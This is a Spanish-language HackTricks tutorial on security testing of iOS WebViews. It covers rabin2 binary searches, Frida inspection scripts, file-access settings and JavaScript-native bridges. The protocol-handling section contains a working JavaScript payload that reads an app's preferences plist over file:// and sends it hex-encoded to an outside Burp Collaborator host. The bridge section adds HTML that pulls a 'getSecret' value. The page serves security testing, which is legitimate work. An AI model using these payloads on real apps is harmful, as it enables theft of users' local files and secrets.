iOS WebViews

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

El código de esta página fue extraído de aquí. Consulta la página para más detalles.

Tipos de WebViews

Los WebViews se utilizan en aplicaciones para mostrar contenido web de forma interactiva. Diferentes tipos de WebViews ofrecen diferentes funcionalidades y características de seguridad para aplicaciones de iOS. Aquí tienes un breve resumen:

  • UIWebView, que ya no se recomienda a partir de iOS 12 debido a su falta de soporte para deshabilitar JavaScript, lo que lo hace susceptible a inyecciones de scripts y ataques de Cross-Site Scripting (XSS).

  • WKWebView es la opción preferida para incorporar contenido web en aplicaciones, ofreciendo un mayor control sobre el contenido y características de seguridad. JavaScript está habilitado de forma predeterminada, pero se puede deshabilitar si es necesario. También admite funciones para evitar que JavaScript abra ventanas automáticamente y garantiza que todo el contenido se cargue de forma segura. Además, la arquitectura de WKWebView minimiza el riesgo de corrupción de memoria que afecta al proceso principal de la aplicación.

  • SFSafariViewController ofrece una experiencia de navegación web estandarizada dentro de las aplicaciones, reconocible por su diseño específico que incluye un campo de dirección de solo lectura, botones de compartir y navegación, y un enlace directo para abrir contenido en Safari. A diferencia de WKWebView, no se puede deshabilitar JavaScript en SFSafariViewController, que también comparte cookies y datos con Safari, manteniendo la privacidad del usuario desde la aplicación. Debe mostrarse de manera prominente según las directrices de la App Store.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

Resumen de Exploración de Configuración de WebViews

Descripción del Análisis Estático

En el proceso de examinar las configuraciones de WebViews, se enfoca en dos tipos principales: UIWebView y WKWebView. Para identificar estas WebViews dentro de un binario, se utilizan comandos que buscan referencias de clases específicas y métodos de inicialización.

  • Identificación de UIWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Este comando ayuda a localizar instancias de UIWebView buscando cadenas de texto relacionadas con ella en el binario.

  • Identificación de WKWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

De manera similar, para WKWebView, este comando busca en el binario las cadenas de texto indicativas de su uso.

Además, para encontrar cómo se inicializa un WKWebView, se ejecuta el siguiente comando, apuntando a la firma del método relacionado con su inicialización:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Verificación de la Configuración de JavaScript

Para WKWebView, se destaca que deshabilitar JavaScript es una buena práctica a menos que sea necesario. Se busca en el binario compilado para confirmar que la propiedad javaScriptEnabled está configurada en false, asegurando que JavaScript esté deshabilitado:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Verificación de Contenido Seguro Únicamente

WKWebView ofrece la capacidad de identificar problemas de contenido mixto, a diferencia de UIWebView. Esto se verifica utilizando la propiedad hasOnlySecureContent para asegurar que todos los recursos de la página se carguen a través de conexiones seguras. La búsqueda en el binario compilado se realiza de la siguiente manera:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Información del Análisis Dinámico

El análisis dinámico implica inspeccionar el montón de instancias de WebView y sus propiedades. Se utiliza un script llamado webviews_inspector.js con el objetivo de identificar instancias de UIWebView, WKWebView y SFSafariViewController. Este script registra información sobre las instancias encontradas, incluyendo URLs y configuraciones relacionadas con JavaScript y contenido seguro.

La inspección del montón se puede realizar utilizando ObjC.choose() para identificar instancias de WebView y verificar las propiedades javaScriptEnabled y hasonlysecurecontent.

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

El script se ejecuta con:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Resultados Clave:

  • Se localizan e inspeccionan correctamente las instancias de WebViews.

  • Se verifica la habilitación de JavaScript y la configuración de contenido seguro.

Este resumen encapsula los pasos críticos y comandos involucrados en el análisis de las configuraciones de WebView a través de enfoques estáticos y dinámicos, centrándose en características de seguridad como la habilitación de JavaScript y la detección de contenido mixto.

Manejo de Protocolos de WebView

El manejo de contenido en WebViews es un aspecto crítico, especialmente al tratar con varios protocolos como http(s)://, file:// y tel://. Estos protocolos permiten la carga de contenido remoto y local dentro de las aplicaciones. Se enfatiza que al cargar contenido local, se deben tomar precauciones para evitar que los usuarios influyan en el nombre o la ruta del archivo y para evitar la edición del contenido en sí.

Las WebViews ofrecen diferentes métodos para la carga de contenido. Para UIWebView, ahora obsoleto, se utilizan métodos como loadHTMLString:baseURL: y loadData:MIMEType:textEncodingName:baseURL:. WKWebView, por otro lado, emplea loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: y loadRequest: para contenido web. Métodos como pathForResource:ofType:, URLForResource:withExtension: e init(contentsOf:encoding:) se utilizan típicamente para cargar archivos locales. El método loadFileURL:allowingReadAccessToURL: es particularmente notable por su capacidad para cargar una URL o directorio específico en la WebView, potencialmente exponiendo datos sensibles si se especifica un directorio.

Para encontrar estos métodos en el código fuente o en el binario compilado, se pueden utilizar comandos como los siguientes:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

En cuanto al acceso a archivos, UIWebView lo permite de forma universal, mientras que WKWebView introduce la configuración allowFileAccessFromFileURLs y allowUniversalAccessFromFileURLs para gestionar el acceso desde URLs de archivo, siendo ambas falsas de forma predeterminada.

Se proporciona un ejemplo de script de Frida para inspeccionar las configuraciones de seguridad de WKWebView:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Por último, un ejemplo de una carga útil de JavaScript destinada a exfiltrar archivos locales demuestra el riesgo de seguridad potencial asociado con WebViews mal configurados. Esta carga útil codifica el contenido del archivo en formato hexadecimal antes de transmitirlo a un servidor, resaltando la importancia de medidas de seguridad estrictas en las implementaciones de WebView.

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Métodos Nativos Expuestos a Través de WebViews

Comprendiendo las Interfaces Nativas de WebView en iOS

Desde iOS 7 en adelante, Apple proporcionó APIs para la comunicación entre JavaScript en un WebView y objetos nativos Swift u Objective-C. Esta integración se facilita principalmente a través de dos métodos:

  • JSContext: Una función de JavaScript se crea automáticamente cuando un bloque Swift u Objective-C se vincula a un identificador dentro de un JSContext. Esto permite una integración y comunicación fluida entre JavaScript y código nativo.

  • JSExport Protocol: Al heredar el protocolo JSExport, se pueden exponer propiedades nativas, métodos de instancia y métodos de clase a JavaScript. Esto significa que cualquier cambio realizado en el entorno de JavaScript se refleja en el entorno nativo, y viceversa. Sin embargo, es esencial asegurarse de que datos sensibles no se expongan inadvertidamente a través de este método.

Accediendo a JSContext en Objective-C

En Objective-C, el JSContext para un UIWebView se puede recuperar con la siguiente línea de código:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Comunicación con WKWebView

Para WKWebView, no se dispone de acceso directo a JSContext. En su lugar, se utiliza el paso de mensajes a través de la función postMessage, lo que permite la comunicación entre JavaScript y la aplicación nativa. Los controladores para estos mensajes se configuran de la siguiente manera, lo que permite que JavaScript interactúe con la aplicación nativa de forma segura:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interacción y Pruebas

JavaScript puede interactuar con la capa nativa al definir un controlador de mensajes de script. Esto permite operaciones como invocar funciones nativas desde una página web:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Para capturar y manipular el resultado de una llamada a una función nativa, se puede anular la función de devolución de llamada dentro del HTML:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

El lado nativo maneja la llamada de JavaScript como se muestra en la clase JavaScriptBridgeMessageHandler, donde se procesa el resultado de operaciones como la multiplicación de números y se envía de vuelta a JavaScript para su visualización o manipulación adicional:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Depuración de WebViews en iOS

(Tutorial basado en https://blog.vuplex.com/debugging-webviews)

Para depurar eficazmente el contenido web dentro de las WebViews de iOS, se requiere una configuración específica que involucra las herramientas de desarrollo de Safari, debido a que los mensajes enviados a console.log() no se muestran en los registros de Xcode. Aquí tienes una guía simplificada, enfatizando los pasos clave y requisitos:

  • Preparación en el Dispositivo iOS: El Inspector Web de Safari debe estar activado en tu dispositivo iOS. Esto se hace yendo a Configuración > Safari > Avanzado, y activando el Inspector Web.

  • Preparación en el Dispositivo macOS: En tu máquina de desarrollo macOS, debes habilitar las herramientas de desarrollo dentro de Safari. Abre Safari, accede a Safari > Preferencias > Avanzado, y selecciona la opción Mostrar menú Desarrollar.

  • Conexión y Depuración: Después de conectar tu dispositivo iOS a tu computadora macOS y lanzar tu aplicación, utiliza Safari en tu dispositivo macOS para seleccionar la WebView que deseas depurar. Navega a Desarrollar en la barra de menú de Safari, pasa el cursor sobre el nombre de tu dispositivo iOS para ver una lista de instancias de WebView, y selecciona la instancia que deseas inspeccionar. Se abrirá una nueva ventana del Inspector Web de Safari con este propósito.

Sin embargo, ten en cuenta las limitaciones:

  • La depuración con este método requiere un dispositivo macOS ya que depende de Safari.

  • Solo las WebViews en aplicaciones cargadas en tu dispositivo a través de Xcode son elegibles para depuración. Las WebViews en aplicaciones instaladas a través de la App Store o Apple Configurator no pueden ser depuradas de esta manera.

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización